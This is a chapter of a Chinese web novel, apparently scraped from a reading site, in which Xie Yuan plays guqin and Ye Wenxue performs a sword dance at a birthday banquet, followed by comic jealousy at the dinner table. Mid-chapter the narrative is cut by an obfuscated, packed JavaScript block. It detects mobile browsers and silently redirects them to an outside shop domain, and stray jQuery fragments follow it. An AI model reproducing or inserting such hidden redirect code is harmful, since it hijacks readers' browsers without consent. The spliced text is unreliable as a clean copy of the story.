20. 表演
    所有人的目光都汇聚在谢鸢的身上。

    谢鸢内心慌得一批,表面却稳如老狗。他定了定神,毛遂自荐道:“哈哈,正巧我最近学了点才艺,不如给大家表演一段。”

    在场的王家人,基本都熟悉谢鸢原本的性格,听见他要主动表演,无一不感到惊奇。王老爷子也按耐不住好奇,问道:“那你说说看,要表演什么?”

    谢鸢把目光投向老爷子身旁,雍容华贵的老妇人,笑道:“柳奶奶,我奶奶常跟我说,她这一辈里头,就数您最多才多艺。不仅棋下得好,连琴也弹得好听。不知道我今天能不能有这份荣幸,借您平时珍爱的古琴用一用?”

    谢岚听见他的话,忍不住挑了挑眉。

    柳兰亭则乐开了花,一脸慈祥地说道:“你这孩子,好久没见,小嘴比抹了蜜还甜。你都想用了,柳奶奶哪有不借你的道理?”

    柳兰亭,王老爷子的妻子,出身书香门第,是那种骨子里透着古典气质的老太太。晚年除了养花种草,偶尔也会抚琴吟诗几首。

    趁着她派人去取古琴的间隙,王凯凑过了来,小声问谢鸢:“你什么时候学的古琴,我怎么不知道?”

    谢鸢淡然道:“这个你不用管,听着就好。”

    王凯将信将疑地看着他。但转念一想,反正搞砸了,丢脸的又不是自己。谢鸢本人都不在乎,自己在乎什么。于是王凯安心坐下,等着看接下来的好戏。

    只见谢鸢接过古琴,微微低头,修长的手指拨弄琴弦,“铮”地一声,琴音如流水般倾泻而出。时而慷慨激扬,时而低沉婉转。

    柳兰亭不由得瞪大双眼,不懂行道的人可能听不出来,但她专门进修过古琴,自然能听得出其中的功力深浅。

    她原以为这孩子只是闹着玩的,没想到竟然是动真格。待谢鸢弹完,她忍不住惊叹连连:“好!实在是太好了!”

    其他人也跟着鼓起掌来。

    谢鸢的心思却不在这里。他望了望叶问雪的方向,暗自松了一口气。

    没想到自己在青楼苦练的琴艺,竟然阴差阳错地用在了这种场合。只要能帮叶问雪解围,这琴也不算白学。

    可惜他高兴得太早,还没来得及坐下,谢岚便开口道:“这俩孩子有主意,一个弹古琴,一个弹钢琴,正好中西合璧。叶家姑娘,你说是不是?”

    叶问雪抬起头,似笑非笑地回答道:“您说的是。”

    她听懂了谢岚的暗示,看来今天是无论如何,都躲不开这一遭了。

    谢鸢慌了神,喊道:“奶奶,您……”

    叶问雪在桌子底下,轻轻拍了拍他的手背,带着几分安抚的意味。

    谢鸢咽下后半句话,安静了下来。他转头去看叶问雪,只见她神情从容,似乎已经有了把握。

    那双平静的眼眸,仿佛在说:剩下的交给我吧。

    谢鸢可以清楚地看见她的眼里,正倒映着自己的影子。不知不觉间,内心深处的不安逐渐被驱散。他点了点头,后退一步,为叶问雪让出了道路。

    叶问雪走上前来,不徐不疾地说道:“刚才两位的精彩表演,足够平心静气。不如我表演个动,正好来个动静结合。”

    王老爷子问:“怎么个动静结合法?”

    叶问雪没说话,转而望向正厅的墙壁。雪白的墙壁上正挂着一幅字画。笔力凝重雄健,气势纵横,如五岳之不可撼。章法参差错落,如行云之流水。

    王老爷子问:“怎么,你想画画还是写字?”

    叶问雪摇头,指了指字画的下方:“都不是。字画都不算动,我想要那个。”

    众人顺着她手指的方向看去,才意识到她说的是字画下面的雕花木桌。准确来说,是桌面呈放着的那柄镇宅宝剑。

    刚走进正厅的时候,叶问雪就注意到了这把剑。作为一个曾经的武器痴,她只需几眼的功夫,便看出这剑价值不菲。剑鞘用的是紫檀木,剑柄刻有貔貅和铜钱图案,泛着黄铜色的暗光。

    外形尚且如此,更何况内里的剑刃。叶问雪光是想象一下,就忍不住心痒难耐。表演才艺只是顺水推舟,其实她的真正目的,是想用一下这把剑。

    王老爷子还以为她在说笑,摆了摆手,劝道:“小丫头,你可要想清楚。这柄剑,是货真价实的古董,足足有五斤重。我当然愿意给你用,但你未必用得了。”

    叶问雪却毫无畏惧:“只要您敢借,我就敢用。”

    “好,有胆气。”王老爷子一拍大腿,同意道,“你尽管用,只是我丑话说在前头,要是这剑伤到了你,老头子我可不负责任。”

    “无妨。”叶问雪点了点头,又走到谢岚的面前,“除了剑,我还想借您的孙子一用。”

    谢岚意味深长地望着她:“我跟王老一样的意思,你尽管用。”

    谢鸢指了指自己:“啊?”

    他不明白这两人为什么突然就达成了共识,莫名其妙把自己给借走了。他歪了歪脑袋,不确定地问道:“借我?”

    叶问雪凑到他的身边,耳语道:“弹一首气势恢宏的曲子,其余的由你自由发挥。”

    谢鸢脑袋转得飞起,很快就领会了她的意思,连忙点头道:“我明白了。”

    两人各就各位,一个站着举剑,一个坐着抚琴。

    琴弦声起,长剑出鞘。叶问雪挽了个剑花,随着节奏韵律起舞。翩若惊鸿,婉若游龙。一招一式,与其说是舞蹈,不如说是剑术。

    只见她双脚蹬地,半空旋身。手臂挥动,白刃一闪,如同飞燕掠过地面。

    在即将触地的时刻,她又突然来了个下腰。再一起身,剑气如虹,直指云霄。剑尖划破空气,透出一股凌冽的寒风。

    在女尊国,谢鸢曾无数次目睹叶问雪练剑的身姿,叶问雪也常常听谢鸢抚琴。他们虽然没有刻意练习过,但早已将对方的习惯烂熟于心。只需一个眼神,就能明白彼此的意图。

    谢鸢配合她的动作,手指快速拨弄着琴弦。正如银瓶乍破水浆迸,铁骑突出刀枪鸣。而叶问雪有意踩着节拍,剑尖时而低垂,时而高举,时而快如闪电,时而缓慢如云。

    他身姿如松,而她剑光如雪。仅仅两人,便舞出了千军万马的气势。

    一曲终了,厅堂鸦雀无声,众人屏住呼吸,久久无法回神。过了片刻,才爆发出雷鸣般的掌声。

    “好!真好!”王老爷子猛地拍手,手掌都拍红了,“真是后生可畏啊!”

    柳兰亭也感叹道:“来如雷霆收震怒,罢如江海凝清光。我本来已经琴声够出彩了,没想到这剑舞更是精彩绝伦。”

    王夫人,也就是王皓轩的妈妈,也忍不住开口道:“皓轩,还不多跟别人学着点,别整天玩你那破游戏。”

    王皓轩:“?”

    啊不是,夸人就夸人,为什么要拉踩啊?

    他觉得很委屈,明明都是富二代,他们居然不直接躺平,非要背着自己偷偷卷才艺!

    不同于其他人的赞叹,谢岚什么话也没说。她的脸上浮现出若有所思的神情,接着微微颔首,也算表示了认可。

    谢鸢长舒一口气,抹了抹额头渗出的细汗。为了配合叶问雪的招式力度,他可是使出了看家的本领。如今看来,应该还算不错。

    “辛苦了。”叶问雪将剑放回原处,拍了拍他的肩膀,而后走到餐桌旁坐下。

    谢鸢顿时心花怒放,亦步亦趋地跟在她身后准备入座。然而,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100148|149162||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他悲伤地发现,叶问雪身旁的座位已经有人了。

    他死死盯着王皓轩,疯狂暗示:“咳咳,咳咳。”

    可惜王皓轩是个榆木脑袋,根本没有明白他的意思,还在那感叹道:“谢哥,难道你因为太馋,被口水呛着了?别坐下吃,别客气。”

    谢鸢:“…………”

    他脑袋的小人又聚到了一起,召开十万火急的会议。

    1号小人说:“要不直接说出来,让这家伙换个座位?”

    2号小人吐槽道:“这怎么能成,人家王皓轩生日,你俩搁这又唱又跳的。抢走别人风头不说,总不能还让寿星给你让位置吧,你良心痛不痛啊?”

    3号小人撇了撇嘴:“不行,这一码归一码。我就是要坐在这里!”

    4号小人推了一下眼睛,劝说道:“这里是王家,做事要体面,别斤斤计较了。”

    5号小人露出一副天塌了的表情,泪汪汪地说道:“呜呜,可是……他怎么能坐我的位置?完了,问雪要移情别恋了……我就知道,她根本就不喜欢我……她都不在乎!”

    6号小人恨铁不成钢地骂道:“够了,别哭哭啼啼的,尽摆出这种冷宫弃夫的丢人模样!咱们要给他点颜色看看!”

    谢鸢不露声色地坐了下来,跟叶问雪隔着一个座位,中间插了个王皓轩。他带着浓浓的怨气,抬起腿来,踩了王皓轩一脚。

    “啊。”王皓轩吃痛,抬起头看他。

    谢鸢若无其事地吃着饭菜,仿佛一切只是意外。王皓轩挠了挠脑袋,以为是不小心碰到的,于是低下头继续干饭。

    没想到还没吃几口,脚尖又被踩了一下。王皓轩倒抽吸一口冷气:“嘶——”

    好家伙,这货绝对是故意的!

    他忍不住质问道:“你干嘛?”

    谢鸢啃了一块排骨,后槽牙嚼得咔呲咔呲响,回答道:“没干嘛。”

    “你居然不承认!”王皓轩气急败坏地嘀咕了一句,却又有些无可奈何。

    他不敢真的招惹谢鸢,但也不想吃这个哑巴亏。想到谢鸢跟叶问雪的那层关系,他灵机一动,戳了戳旁边的人:“叶姐,你管管谢哥,他故意踩我脚。都多大人了,居然这么幼稚!”

    谢鸢:“!”

    这人居然不讲武德,有本事就直接刚啊,怎么可以打小报告?!

    他不想自己苦心经营的贤夫形象,就这样毁于一旦。在叶问雪的眼里,他可是温柔体贴的小娇夫,绝对不能做出这种幼稚粗鲁的行径。

    谢鸢决定见招拆招。他低下头,抹了抹并不存在的眼泪,期期艾艾地说道:“问雪,我没有……你相信我……”

    说完,他在桌底掐了一把自己的大腿,眼里迅速泛出泪光,仿佛有千万般的委屈,却无人可以诉说。

    这一套丝滑的连招,把王皓轩给看懵了。

    不是,哥们,你怎么不按常理出牌啊。

    按照谢鸢以前的性格,不应该暴跳如雷,揪着他的领子,化身超级暴暴龙,给他来上一拳吗?

    王皓轩正怀疑着人生,心想谢鸢可能真的变了。然后就看见谢鸢转过头,背对着叶问雪,以刁钻的角度,对自己露出了死亡微笑。

    王皓轩:“……”

    这眼神威胁,果然还是他熟悉的谢哥。

    他再一眨眼,又看见谢鸢眼泪汪汪地望着叶问雪:“对不起,我不该打扰你们吃饭,一切都是我的错……”

    王皓轩在短短的几分钟内,深刻地体会到了什么叫翻脸比翻书还快。谢鸢竟然没有任何过渡,直接从恐吓威胁的法制频道,跳到了恨海情天的琼瑶苦情剧。

    这是天赋型选手,世界欠他一个奥斯卡小金人。